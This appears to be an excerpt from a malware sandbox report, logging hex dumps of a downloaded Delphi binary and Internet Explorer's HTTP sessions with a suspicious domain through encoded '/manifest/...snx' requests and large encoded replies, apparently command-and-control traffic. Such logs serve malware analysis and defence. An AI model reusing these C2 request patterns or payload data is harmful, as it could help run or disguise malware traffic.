Feb 9, 2021 11:53:09.474996090 CET	11	IN	Data Raw: 55 68 dd 2f 40 00 64 ff 30 64 89 20 c7 45 f4 04 00 00 00 8d 45 f4 50 8d 45 f8 50 6a 00 6a 00 68 20 30 40 00 8b 45 fc 50 e8 06 e3 ff ff 33 c0 5a 59 59 64 89 10 68 e4 2f 40 00 8b 45 fc 50 e8 e0 e2 ff ff c3 e9 56 08 00 00 eb ef 66 a1 20 90 45 00 66 Data Ascii: Uh/@d0d EEPEPjjh 0@EP3ZYYdh/@EPVf Ef%fUf?ff E]SOFTWARE\Borland\Delphi\RTLFPUMaskValue- EVWp1A_^@S1t@1;JuJ<2<uIuC[@
Feb 9, 2021 11:53:09.475059986 CET	13	IN	Data Raw: 58 c3 8d 40 00 80 3d 28 90 45 00 01 76 09 50 ff 73 04 e9 d6 ff ff ff c3 90 80 3d 28 90 45 00 01 76 07 50 53 e9 c4 ff ff ff c3 8d 40 00 85 c9 74 19 8b 41 01 80 39 e9 74 0c 80 39 eb 75 0c 0f be c0 41 41 eb 03 83 c1 05 01 c1 c3 8b c0 80 3d 28 90 45 Data Ascii: X@=(EvPs=(EvPS@tA9t9uAA=(EvPRQQTjjhEYYZX=(EvRTjjhEZPR=(EvTjjhEZXD$@8PHtnET$
Feb 9, 2021 11:53:09.475130081 CET	14	IN	Data Raw: 50 68 1a 3a 40 00 52 ff 15 18 b0 45 00 8b 5c 24 04 81 3b de fa ed 0e 8b 53 14 8b 43 18 74 1d 8b 15 10 b0 45 00 85 d2 0f 84 fa fe ff ff 89 d8 ff d2 85 c0 0f 84 ee fe ff ff 8b 53 0c e8 16 fb ff ff 8b 0d 04 b0 45 00 85 c9 74 02 ff d1 8b 4c 24 04 b8 Data Ascii: Ph:@RE\$;SCtESEtL$Q$B1@1Edd@9@h<E@1<Etd9udt9uUSVW8EGtH_p3Uh;@d2d"~K_Dt3ZYYd
Feb 9, 2021 11:53:09.536161900 CET	16	IN	Data Raw: f8 75 08 8d 42 f8 e8 9a e7 ff ff c3 90 85 d2 74 0a 8b 4a f8 41 7e 04 f0 ff 42 f8 87 10 85 d2 74 14 8b 4a f8 49 7c 0e f0 ff 4a f8 75 08 8d 42 f8 e8 70 e7 ff ff c3 8d 40 00 85 c0 7e 24 50 83 c0 0a 83 e0 fe 50 e8 3b e7 ff ff 5a 66 c7 44 02 fe 00 00 Data Ascii: uBtJA~BtJI\|JuBp@~$PP;ZfDZP@1SVWt;_^[UjjRPEPQjEP]URPEPQjEP]SVWUP$_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49186	80.208.230.180	80	C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp	kBytes transferred	Direction	Data
Feb 9, 2021 11:54:51.164607048 CET	1003	OUT	GET /manifest/epAdaEbgmyrS0/5cBg2_2F/5r8v5YqebG9_2BzXwQ53Or2/m_2BYyZlMo/Wjgc3SrdyI1oKZciJ/0VZWBVvz9ttQ/e_2BqGDPIqO/VywJMmm_2FxNKs/BOcG3xAwzit4RyHpLyJsr/vwEVLjnqkBMf1zrK/m34BDAlEVdkNvcp/4fnxbyz8Lb2BtkfzoG/Qmy6EiDgS/W_2BAz08nRnapN/NuB.snx HTTP/1.1 Accept: text/html, application/xhtml+xml, / Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: pronpepsipirpyamvioerd.com DNT: 1 Connection: Keep-Alive
Feb 9, 2021 11:54:51.247711897 CET	1005	IN	HTTP/1.1 200 OK Date: Tue, 09 Feb 2021 10:54:51 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Set-Cookie: PHPSESSID=42h5h7018t3pv8k72ad9a3bh91; path=/; domain=.pronpepsipirpyamvioerd.com Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: lang=en; expires=Thu, 11-Mar-2021 10:54:51 GMT; path=/; domain=.pronpepsipirpyamvioerd.com Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 33 38 64 62 63 0d 0a 44 39 36 6b 57 6e 43 35 48 6b 35 33 4f 52 78 62 53 49 6c 6c 39 68 52 54 36 77 2f 67 6f 72 7a 34 4b 56 54 7a 73 77 65 55 4a 70 65 56 4e 6a 59 43 6b 4a 68 47 39 38 56 57 4f 65 50 4a 55 39 30 48 50 43 70 71 7a 48 37 32 44 7a 44 75 32 70 67 4d 65 64 38 38 32 32 79 66 62 54 6d 52 77 65 6f 5a 61 75 63 63 48 68 78 78 4c 48 50 52 4a 35 64 70 51 62 59 66 52 59 39 76 44 30 79 35 6f 47 70 43 73 37 38 65 69 39 46 46 35 67 38 30 6d 41 42 76 4a 66 33 6a 79 7a 44 37 72 46 38 39 54 2f 69 68 42 4b 72 66 34 2f 32 76 51 6d 63 43 72 6b 4e 4d 4a 79 65 74 6d 58 51 57 4b 70 38 73 55 77 67 72 75 46 68 4f 43 75 4c 41 73 66 41 32 62 32 4e 55 68 74 47 6b 4b 69 4b 68 51 45 79 66 75 31 6c 79 52 30 35 6f 46 61 30 71 66 57 38 77 77 49 44 78 4d 34 45 67 54 50 7a 49 78 62 4e 6d 54 51 77 75 37 4b 44 59 42 65 6f 61 72 42 63 6a 34 30 2b 79 62 38 39 53 45 61 61 72 36 57 48 2f 69 71 74 6d 61 76 47 44 63 46 57 78 62 57 52 30 52 50 70 43 48 56 46 4c 44 33 6d 73 6f 32 33 56 79 5a 34 41 53 48 74 44 78 43 34 2f 6c 38 71 5a 58 62 6f 70 4b 33 68 4a 2b 6b 66 2b 31 78 49 2b 7a 53 4f 6d 5a 67 41 43 37 4b 75 32 78 35 6b 49 47 49 74 4b 76 51 58 36 79 30 39 6f 6a 73 63 33 4e 66 66 44 46 75 76 55 62 57 69 44 30 6c 34 6e 38 63 76 56 67 5a 61 61 34 6c 71 41 4f 42 30 38 45 4d 6a 66 6e 63 36 47 33 31 4e 55 5a 55 31 65 56 61 61 42 55 7a 6a 4d 43 79 57 52 51 45 42 56 71 59 4c 50 50 48 4e 79 34 46 2b 46 5a 37 6b 41 52 65 4c 42 30 59 50 55 41 43 6f 6a 4e 30 6e 6b 51 72 2b 70 7a 36 77 44 46 61 47 67 54 76 72 54 75 70 73 62 5a 65 30 37 4a 6c 67 65 39 35 46 63 67 4d 35 45 43 53 37 6e 30 76 33 64 52 53 38 58 4f 4c 4b 47 67 76 4c 6c 45 4d 31 72 50 34 70 4f 59 2f 66 4f 48 78 6a 54 2b 52 46 52 41 69 62 6d 78 6e 53 43 38 48 57 67 2f 4a 34 37 31 71 36 54 79 77 59 67 72 38 63 67 6b 61 2b 59 53 6a 5a 58 4b 72 44 6e 46 38 48 62 64 6f 4e 48 37 34 44 77 41 50 4e 36 55 53 43 6c 66 66 2f 62 6d 62 48 2f 62 53 56 30 6b 6f 63 67 47 4a 4c 4b 75 48 37 45 58 48 52 44 5a 5a 51 78 54 61 79 55 6d 70 39 35 33 33 73 48 38 30 57 42 74 4c 4a 71 72 45 4f 38 44 79 63 57 64 50 61 53 33 7a 67 36 61 56 69 6a 71 62 35 74 64 51 79 52 62 34 58 6b 74 49 4d 55 49 35 4d 73 72 30 62 4d 79 70 38 72 4c 77 67 42 6f 30 37 46 79 33 57 6c 71 36 64 34 65 69 49 38 53 45 4e 6f 5a 6f 46 6a 6a 4b 76 65 53 37 45 68 Data Ascii: 38dbcD96kWnC5Hk53ORxbSIll9hRT6w/gorz4KVTzsweUJpeVNjYCkJhG98VWOePJU90HPCpqzH72DzDu2pgMed8822yfbTmRweoZauccHhxxLHPRJ5dpQbYfRY9vD0y5oGpCs78ei9FF5g80mABvJf3jyzD7rF89T/ihBKrf4/2vQmcCrkNMJyetmXQWKp8sUwgruFhOCuLAsfA2b2NUhtGkKiKhQEyfu1lyR05oFa0qfW8wwIDxM4EgTPzIxbNmTQwu7KDYBeoarBcj40+yb89SEaar6WH/iqtmavGDcFWxbWR0RPpCHVFLD3mso23VyZ4ASHtDxC4/l8qZXbopK3hJ+kf+1xI+zSOmZgAC7Ku2x5kIGItKvQX6y09ojsc3NffDFuvUbWiD0l4n8cvVgZaa4lqAOB08EMjfnc6G31NUZU1eVaaBUzjMCyWRQEBVqYLPPHNy4F+FZ7kAReLB0YPUACojN0nkQr+pz6wDFaGgTvrTupsbZe07Jlge95FcgM5ECS7n0v3dRS8XOLKGgvLlEM1rP4pOY/fOHxjT+RFRAibmxnSC8HWg/J471q6TywYgr8cgka+YSjZXKrDnF8HbdoNH74DwAPN6USClff/bmbH/bSV0kocgGJLKuH7EXHRDZZQxTayUmp9533sH80WBtLJqrEO8DycWdPaS3zg6aVijqb5tdQyRb4XktIMUI5Msr0bMyp8rLwgBo07Fy3Wlq6d4eiI8SENoZoFjjKveS7Eh
Feb 9, 2021 11:54:51.247772932 CET	1006	IN	Data Raw: 32 75 49 6a 32 39 48 4a 65 44 47 70 49 34 6d 51 4a 72 54 30 56 69 46 53 31 2f 42 38 75 77 7a 78 31 7a 46 76 64 39 71 35 4f 69 73 55 57 74 31 78 61 36 39 6d 35 33 75 4e 63 70 33 6f 64 41 52 38 37 72 33 59 57 65 4a 7a 61 75 44 31 68 66 32 69 64 68 Data Ascii: 2uIj29HJeDGpI4mQJrT0ViFS1/B8uwzx1zFvd9q5OisUWt1xa69m53uNcp3odAR87r3YWeJzauD1hf2idhEni4VHi6XUrOppJ0nw+/6vJbKyTW8Yg9HkQc/1UMU8JlrJMMHW1dbWDijQ1WQhRN9cixJU9SlbEZAlajUxypq6RJUqXl4jBdD79VcSnROvC7CGzeea+SayNjMPlwk2MW5N+Wjl3Q6wukQdxrY6x37/h11vUsixzna
Feb 9, 2021 11:54:51.247814894 CET	1007	IN	Data Raw: 6d 4e 49 6f 48 6a 35 6c 38 47 72 61 68 35 73 71 4f 42 67 67 34 54 57 6b 31 42 61 62 64 30 78 31 4b 6c 7a 6f 43 61 77 45 49 41 6c 7a 65 32 57 57 6c 56 6f 5a 70 69 53 4f 42 7a 4d 75 6a 6c 6d 2f 35 6d 53 42 34 35 59 65 6f 33 42 37 6c 6e 63 61 4f 34 Data Ascii: mNIoHj5l8Grah5sqOBgg4TWk1Babd0x1KlzoCawEIAlze2WWlVoZpiSOBzMujlm/5mSB45Yeo3B7lncaO49QRAg74JT2JnAVRFRrEocA5sNbvHyoxFH02vQFKer1wxTlFfMTXbAk6NG66wZ8RbxmM/mkt0FtX+j8ix9iQ1eXSEnrtBA3SkFlt+Uqd0+NcVi0xm67HPHeFQIvMWuYU32eytVZ+em+CwJbbA046jmlUFFfv32wlm2
Feb 9, 2021 11:54:51.247853994 CET	1009	IN	Data Raw: 2b 4a 76 52 50 71 66 67 5a 35 38 72 79 4e 45 49 6c 54 75 6b 48 72 38 38 78 50 38 57 56 6a 53 37 46 47 31 4a 6f 64 79 38 35 58 67 77 50 6a 62 77 66 4c 4f 55 48 44 57 6c 72 66 58 65 58 38 4c 31 6b 32 43 37 39 46 2b 30 63 36 66 30 7a 38 6a 73 79 68 Data Ascii: +JvRPqfgZ58ryNEIlTukHr88xP8WVjS7FG1Jody85XgwPjbwfLOUHDWlrfXeX8L1k2C79F+0c6f0z8jsyhR80RNpgk3qQI0SsG8jS4csb9VKu1eUl8lMDNfRLjXey3JcxX591VOP3iWGCnACFMRpeXc9Rfi1dXRQlZzTeSebDsYF4CAGuzP3/BwpVTPGUpwrl9MHi+B1CBURdOMoa5+5XqaMYXeR7H42iO1mKgYiH/R+XI/u/GE
Feb 9, 2021 11:54:51.247893095 CET	1010	IN	Data Raw: 30 63 31 66 57 32 49 30 61 4b 41 32 6f 70 2f 49 70 42 61 50 79 4a 6c 58 35 78 36 2b 41 41 53 42 7a 32 36 77 75 35 37 38 36 56 36 34 2b 6d 53 4b 42 50 37 62 77 74 44 6e 32 56 5a 4d 65 50 4d 70 31 54 4f 51 43 67 72 71 69 6a 7a 61 49 54 54 36 47 6d Data Ascii: 0c1fW2I0aKA2op/IpBaPyJlX5x6+AASBz26wu5786V64+mSKBP7bwtDn2VZMePMp1TOQCgrqijzaITT6GmlcYMnojiHI1Gu+i2kQjhvZX1WJhwkjRw3EybNRi834xXkisU0zgysgF7N8UidiG3t+vmFp+ZiNSCqNrPryDvwss+PJVCCK3oGlnKoGLFWwPen6FnXd8R04DSuEGPB2XpPUSsWO+NN+QasUK6mByJKO5FAdIugszhG
Feb 9, 2021 11:54:51.247941017 CET	1012	IN	Data Raw: 47 43 6e 62 77 49 4b 78 68 73 50 57 66 4d 78 55 45 71 56 57 31 6f 64 37 79 63 33 57 41 6a 4f 43 73 4d 70 62 36 61 4d 43 4a 4c 73 4a 70 47 46 6a 62 33 52 71 44 56 46 6e 63 69 48 36 4a 61 32 65 31 64 7a 39 64 72 35 52 39 4f 79 2f 6f 34 62 64 6a 78 Data Ascii: GCnbwIKxhsPWfMxUEqVW1od7yc3WAjOCsMpb6aMCJLsJpGFjb3RqDVFnciH6Ja2e1dz9dr5R9Oy/o4bdjxPvlOsCd3s5OYxitnvMyPmu59QjFsesaxNurXYE9YIAyJNTamMkoF2/N9UC47dzyKwoMIm75mhaJEui8C4W0Fwtw/or79NZJ2K4ToebTUfaAzePks8/6MxAxRMpQKbY5KFMT6S9oHEjJXVl/pcFvjZglUTBjx0CID5
Feb 9, 2021 11:54:51.247983932 CET	1013	IN	Data Raw: 2f 36 59 62 78 6b 4d 75 64 75 5a 64 73 33 33 75 4a 34 5a 31 58 4d 4d 6c 37 76 73 62 2b 32 34 45 54 70 37 63 4c 38 50 45 72 70 76 5a 46 2f 52 74 6a 38 64 6f 76 49 6a 42 38 41 6f 36 47 45 47 50 6c 55 63 77 48 79 42 71 53 4b 30 50 35 37 68 66 4e 7a Data Ascii: /6YbxkMuduZds33uJ4Z1XMMl7vsb+24ETp7cL8PErpvZF/Rtj8dovIjB8Ao6GEGPlUcwHyBqSK0P57hfNz4NHep4GFoDs2sjziIUTfDwrAoIF5o95Q6LwwZ0NhZcsRMAoVILMvDwiwImwQpG+qHjFpXDjn4kzW15mocvQmBsURFhgw7CAY1wHx1mdPTJcUConrYXurGSaCZ8KXpK8HCPr7PIHSqbSCZ5kZDd3zoqnKf3dy11zi9
Feb 9, 2021 11:54:51.248023033 CET	1014	IN	Data Raw: 6b 33 4f 74 44 6d 48 47 44 4e 72 69 56 71 38 75 77 37 47 79 55 4b 70 56 45 58 53 46 73 6c 75 76 72 51 56 54 4d 4b 45 4f 6a 79 54 5a 77 67 43 32 72 4c 51 62 70 45 61 42 64 75 68 6c 41 4f 54 61 44 34 44 72 42 47 47 50 4b 30 57 68 39 4c 38 61 47 46 Data Ascii: k3OtDmHGDNriVq8uw7GyUKpVEXSFsluvrQVTMKEOjyTZwgC2rLQbpEaBduhlAOTaD4DrBGGPK0Wh9L8aGFqePbRFmxuwH2GUjmWoHsiRH0q4Aqmjs7ELbwRL/tdxBg1V+OwJ/89PZHjhW1I42w9OAdYuTEZPRwnNfiYMuaiyEMex7ybTgWrP9Mhz2j09R7v0r5Ebv+xLpekpyMlkLf0Ej/4iG6WQ6Rz84pR8wKZ7QUtEqqno+by
Feb 9, 2021 11:54:51.248061895 CET	1016	IN	Data Raw: 2f 37 6a 37 57 54 43 58 4f 63 43 42 4a 65 2b 5a 70 41 57 6e 72 64 50 39 37 2f 2b 48 6e 73 44 69 76 6c 53 30 41 66 50 6d 35 6a 71 4b 73 67 36 73 47 51 73 75 75 50 31 57 48 53 4b 64 53 71 6d 67 65 66 70 66 57 36 57 32 43 4d 57 39 62 35 73 41 58 59 Data Ascii: /7j7WTCXOcCBJe+ZpAWnrdP97/+HnsDivlS0AfPm5jqKsg6sGQsuuP1WHSKdSqmgefpfW6W2CMW9b5sAXYeYa9X5+o/Rw/XM90MFuQVLMJ3nS+xWcMMTkBLJhXM6wPEPGHYi6kQovOTDoGRlk5hwS3CgTGuZyCS9aZuHp0WfqFhFs++Ii7UE8OyhumibJCDDUZ6qVRMUSVUmvAHdIOKKH4QFQY8Uo+psLeIhq/bMGGuspcB9UVP
Feb 9, 2021 11:54:51.248101950 CET	1017	IN	Data Raw: 63 47 44 76 4e 41 52 58 4d 5a 4b 76 6b 49 70 65 6e 69 70 5a 2b 57 54 49 51 65 58 58 50 5a 59 62 75 45 31 4c 77 30 34 4e 76 67 55 4c 68 52 66 57 74 5a 79 46 56 46 48 4e 79 61 4a 39 6f 64 31 50 62 42 38 4e 2b 43 35 45 65 53 4e 50 64 68 68 52 32 32 Data Ascii: cGDvNARXMZKvkIpenipZ+WTIQeXXPZYbuE1Lw04NvgULhRfWtZyFVFHNyaJ9od1PbB8N+C5EeSNPdhhR228rNDuJosVUoKWAmVQ/bVg7U4XCA016mVBtiPftDwPJMJyiUi2DZ4NSLaxyBkmD4LpDozUby/IZIgkERslYyGYxSqFuaqJw3MYDKUYqfKa/4RD2pAzV1nBEw4PSsFI70GRGMewWtYTX9v3bsODE0EyzimOTG8afopk
Feb 9, 2021 11:54:51.317361116 CET	1019	IN	Data Raw: 75 58 5a 4e 6e 63 4d 62 72 4a 41 67 74 2b 70 70 39 4c 36 73 4a 61 34 33 4c 75 39 4d 63 31 36 58 62 30 6f 37 61 55 76 57 61 70 74 70 75 66 47 4d 66 33 55 63 38 4b 31 73 31 5a 72 74 43 65 58 32 30 53 50 50 55 78 71 68 73 72 64 36 58 54 62 38 56 38 Data Ascii: uXZNncMbrJAgt+pp9L6sJa43Lu9Mc16Xb0o7aUvWaptpufGMf3Uc8K1s1ZrtCeX20SPPUxqhsrd6XTb8V87iAvONatuMBsVxtoC157zYfH+7XOjMcikVKBEMqVbe2XiYGULFAX4ZhGfWwG8xzQtd1XlLCed6HZcQYKyQBN5F7jODsxderW7rGSXoD3LEffbqcmC7rpVY6fxhaZgFPjzT1D6hHYlS/RjtdzhmMG7y7Le2fMIBepk
Feb 9, 2021 11:54:51.635792017 CET	1251	OUT	GET /favicon.ico HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Host: pronpepsipirpyamvioerd.com DNT: 1 Connection: Keep-Alive Cookie: PHPSESSID=42h5h7018t3pv8k72ad9a3bh91; lang=en
Feb 9, 2021 11:54:51.705605030 CET	1252	IN	HTTP/1.1 200 OK Date: Tue, 09 Feb 2021 10:54:51 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 Last-Modified: Mon, 01 Feb 2021 18:43:52 GMT ETag: "1536-5ba4abc48ba0d" Accept-Ranges: bytes Content-Length: 5430 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: image/vnd.microsoft.icon Data Raw: 00 00 01 00 02 00 10 10 00 00 00 00 20 00 68 04 00 00 26 00 00 00 20 20 00 00 00 00 20 00 a8 10 00 00 8e 04 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 40 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9c 87 73 f7 9c 87 73 f9 9c 87 73 f7 9c 87 73 77 9c 87 72 03 ff ff ff 01 9c 87 73 09 9c 87 73 0f 9c 87 73 0d 9b 87 73 05 ff ff ff 01 9c 87 73 15 9c 87 73 c7 9c 87 73 f9 9c 87 73 f9 9c 87 73 85 9c 87 73 f9 9c 87 72 f9 9c 87 73 7b 9c 87 73 05 9c 87 73 23 9c 87 73 7f 9c 87 73 c3 9b 87 72 d3 9c 87 73 cf 9c 87 73 ad 9c 87 73 5b 9c 87 73 0d 9c 87 73 1b 9c 87 73 c5 9b 87 73 ff 9c 87 73 85 9c 87 73 f7 9c 87 73 7d 9c 87 73 07 9c 87 73 57 9c 87 72 db 9c 87 73 ab 9c 87 73 6d 9c 87 73 4b 9c 87 73 43 9c 87 73 77 9c 87 73 cf 9c 87 73 b7 9b 86 73 25 9c 87 73 21 9c 87 73 cb 9c 87 73 87 9c 87 73 7f 9c 87 73 05 9c 87 73 55 9c 87 73 e1 9c 87 73 59 9c 87 73 81 9c 87 73 df 9c 87 73 c9 9b 86 72 23 ff ff ff 01 9c 87 73 13 9c 87 73 97 9c 87 73 cd 9c 87 73 19 9c 87 72 25 9c 87 73 5b 9c 87 73 03 9c 87 73 1d 9c 87 73 d9 9c 87 73 5d 9c 87 73 0b 9b 87 72 ef 9c 87 73 53 9b 87 73 bf 9c 87 73 71 ff ff ff 01 ff ff ff 01 9c 87 73 0b 9c 87 73 a5 9c 87 73 95 9c 87 73 03 9c 87 73 03 ff ff ff 01 9c 87 73 75 9c 87 73 b5 9c 87 73 07 ff ff ff 01 9c 87 73 c1 9c 87 73 db 9c 87 73 e7 9c 87 73 41 ff ff ff 01 ff ff ff 01 ff ff ff 01 9c 86 73 25 9b 87 73 d9 9c 87 73 23 ff ff ff 01 9c 87 72 07 9c 87 72 bb 9c 87 73 5d ff ff ff 01 ff ff ff 01 9c 87 73 1b 9c 87 73 db 9c 87 73 6b 9c 87 73 03 9c 87 73 03 ff ff ff 01 ff ff ff 01 9c 87 73 03 9c 87 73 af 9c 87 73 5d ff ff ff 01 9c 87 73 0d 9c 87 72 cd 9c 87 73 37 ff ff ff 01 ff ff ff 01 9c 86 73 09 9c 87 73 c9 9c 87 72 91 9c 86 72 a3 9c 87 73 81 9c 86 72 05 ff ff ff 01 ff ff ff 01 9b 87 73 85 9c 87 73 7f ff ff ff 01 9c 87 73 0d 9c 87 73 cb 9b 87 73 37 ff ff ff 01 ff ff ff 01 9c 87 73 09 9c 87 73 cd 9c 87 73 69 9c 87 73 3f 9c 87 73 37 9c 87 73 13 ff ff ff 01 ff ff ff 01 9b 87 73 83 9c 87 73 7f ff ff ff 01 9c 87 73 07 9c 87 73 b9 9c 87 72 57 ff ff ff 01 ff ff ff 01 9c 87 73 09 9c 87 73 c9 9c 87 73 97 9c 87 73 a9 9c 87 73 a9 9c 87 73 97 ff ff ff 01 ff ff ff 01 9c 87 73 ab 9c 87 73 5b ff ff ff 01 ff ff ff 01 9c 87 73 73 9c 87 73 ad 9c 87 73 05 ff ff ff 01 9c 87 73 09 9c 87 73 cd 9c 87 73 6d 9c 87 73 49 9c 87 73 3b 9c 87 73 07 ff ff ff 01 9c 87 73 21 9c 87 73 d3 9c 87 73 23 ff ff ff 01 9c 87 73 05 9c 87 73 1b 9b 87 73 d3 9c 87 73 51 ff ff ff 01 9b 86 73 09 9c 87 73 cb 9c 87 73 89 9b 87 72 83 9c 87 73 6d 9c 87 73 05 9c 87 72 07 9c 87 73 97 9b 87 72 91 9c 87 73 03 9c 87 73 05 9b 87 72 89 9c 87 73 07 9c 87 73 51 9c 87 73 d9 9c 87 72 4b 9c 87 73 07 9c 87 73 67 9c 86 73 27 ff ff ff 01 ff ff ff 01 9b 86 73 0d 9c 87 73 81 9c 87 73 c5 9c 87 73 17 9c 87 73 27 9c 87 73 5f 9c 87 73 f7 9c 87 73 85 9c 87 73 09 9b 87 72 51 9c 87 73 d3 9c 87 73 9d 9c 87 73 4b 9c 86 72 2f 9c 87 73 33 9c 87 73 61 9c 87 73 bd 9b 87 73 b1 9c 87 73 21 9c 87 73 23 9c 87 73 cd 9c 87 73 87 9c 87 73 f9 9c 86 73 f9 9c 87 73 83 9c 87 73 07 9c 87 73 1f 9c 87 73 79 9c 87 73 b9 9c 87 72 c5 9c 87 73 c3 9c 87 72 a7 9c 87 73 55 9c 87 72 0b 9c 87 73 1d 9c Data Ascii: h& ( @sssswrssssssssssrs{ss#ssrsss[sssssss}ssWrssmsKsCswsss%s!sssssUssYsssr#ssssr%s[ssss]srsSssqssssssussssssAs%ss#rrs]sssksssss]srs7ssrrsrsssss7sssis?s7sssssrWssssssss[sssssssmsIs;ss!ss#ssssQsssrsmsrsrssrssQsrKssgs'sssss's_sssrQsssKr/s3sasss!s#ssssssssysrsrsUrs

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.22	49189	80.208.230.180	80	C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp	kBytes transferred	Direction	Data
Feb 9, 2021 11:54:55.187577009 CET	1258	OUT	GET /manifest/8LuXDq_2BWfBiB/BEj6sfjtywNrZQzF5QZK7/NbbMkjR9SpGW28t6/1m9JUJz0exuG0Ws/6b83q2bcM1KtQpqf51/Z_2B1SUtN/P_2FDTQIaszfL7CFhXYP/tmsBI8pqKk7pm_2BfxZ/6rZJurPMhY6pGTLji_2FEt/IMZgEgmplBU7m/NokZx7zj/OP_2FSvKpKSMcRmuUdUVqR0/teCNe1.snx HTTP/1.1 Accept: text/html, application/xhtml+xml, / Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: pronpepsipirpyamvioerd.com DNT: 1 Connection: Keep-Alive Cookie: lang=en
Feb 9, 2021 11:54:55.272800922 CET	1260	IN	HTTP/1.1 200 OK Date: Tue, 09 Feb 2021 10:54:55 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Set-Cookie: PHPSESSID=pe02rn9ip082kgug8c5vpo0ti0; path=/; domain=.pronpepsipirpyamvioerd.com Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 34 38 33 31 34 0d 0a 76 6b 31 56 62 6f 59 33 65 6c 63 52 38 63 54 31 56 4d 4d 6d 46 68 79 34 6c 55 46 53 67 72 71 62 6d 4e 6a 78 56 53 76 39 49 2f 33 37 51 71 48 54 76 2f 2b 6d 43 6a 2b 61 36 66 4b 4a 2f 58 6c 78 4e 56 43 4f 4f 75 76 6c 47 65 6c 66 33 2b 45 5a 67 61 77 56 43 35 55 65 55 2f 42 52 69 4f 4e 52 44 39 41 74 36 56 31 55 48 30 6e 61 6d 63 64 59 41 49 47 49 65 30 41 70 70 55 7a 50 56 49 32 47 4b 5a 41 4f 4c 63 69 74 4f 75 2f 67 53 53 48 37 44 74 4d 38 41 4b 37 7a 72 4f 32 4e 4a 6d 2b 55 53 6e 63 4e 36 73 6f 4f 4d 44 44 4f 6a 61 69 49 64 63 6b 59 61 64 59 4a 54 2b 44 44 41 50 53 7a 4f 49 6d 71 64 48 4e 6a 63 41 67 41 39 46 54 78 38 30 48 32 68 44 4d 6e 33 74 7a 70 7a 30 31 7a 5a 39 64 66 33 4e 73 45 75 56 6f 44 6d 5a 70 53 4b 66 77 77 33 77 61 61 4f 59 73 59 67 7a 54 75 62 59 58 77 76 6a 49 4c 73 4b 4b 45 2f 42 77 52 65 68 4e 58 58 34 4a 4f 4d 2f 77 37 2f 68 43 34 36 68 73 49 68 4b 4d 45 58 75 6d 64 76 63 4f 6d 7a 50 79 53 38 54 51 39 6c 70 4f 6e 54 62 75 48 32 34 4c 59 64 6c 76 6c 5a 4a 51 56 32 51 5a 50 48 73 43 75 70 77 62 55 6e 61 47 4d 30 45 75 52 70 72 52 59 78 54 63 74 6f 75 68 63 6f 75 46 43 6c 70 67 45 65 72 55 45 49 32 6c 50 72 38 43 58 45 55 6f 56 75 67 46 37 31 59 4d 6c 54 32 30 65 7a 48 4a 73 67 76 74 2f 63 56 32 69 45 77 61 56 47 47 4a 6f 59 74 6b 56 49 58 42 43 75 49 57 71 43 44 35 57 31 46 33 4a 72 4d 76 50 54 44 74 55 75 38 4c 6f 47 72 55 47 52 4a 65 5a 49 36 50 41 58 54 41 77 54 77 43 52 34 74 6e 6b 5a 38 58 79 32 42 55 2f 55 7a 31 50 75 62 61 4e 38 74 75 44 72 2b 4d 78 37 31 51 67 6e 76 6f 2f 65 76 71 78 38 43 74 6e 79 62 32 47 67 71 66 73 59 43 51 5a 2b 4d 4d 50 76 78 68 38 74 74 32 58 55 57 4c 41 32 6b 30 37 37 79 78 42 64 6b 32 4e 43 56 65 4f 66 5a 57 73 35 7a 68 59 6b 69 6a 31 65 64 39 58 6f 31 4d 42 6d 43 5a 48 4e 6a 2f 56 74 63 55 30 2f 48 4a 6a 32 4a 62 59 67 2b 4b 5a 61 52 34 46 6b 50 70 30 6e 79 7a 31 53 57 59 46 78 4b 44 56 49 4d 54 6a 4b 70 2b 4c 76 59 2f 6e 59 61 35 44 34 75 73 77 6b 66 52 6f 32 75 63 34 72 4e 75 78 69 39 62 42 66 4f 38 73 4f 42 72 58 51 46 2b 32 48 45 79 37 44 70 49 4c 76 43 64 6a 2b 57 58 53 64 65 6d 31 2f 56 41 4d 6b 37 55 46 62 37 6c 44 30 37 75 5a 34 52 6f 67 6b 65 69 71 6c 2f 77 6e 66 49 4f 58 46 39 7a 7a 68 45 79 7a 55 69 36 71 74 64 6f 67 54 49 74 44 4d 78 48 68 37 50 35 45 52 2b 76 4f 41 48 4b 67 36 6e 65 32 49 79 39 4c 44 2b 52 57 63 4b 4a 7a 34 52 31 34 2f 46 44 74 6e 4b 71 66 6a 6d 6c 49 54 7a 31 52 48 42 46 38 65 6f 57 30 44 56 74 31 74 52 4c 6d 78 6b 58 70 55 7a 2b 72 56 74 58 4b 51 4d 33 6c 79 76 54 64 6a 6f 37 6a 4b 42 44 4b 54 68 74 73 47 4e 42 66 4d 36 71 52 Data Ascii: 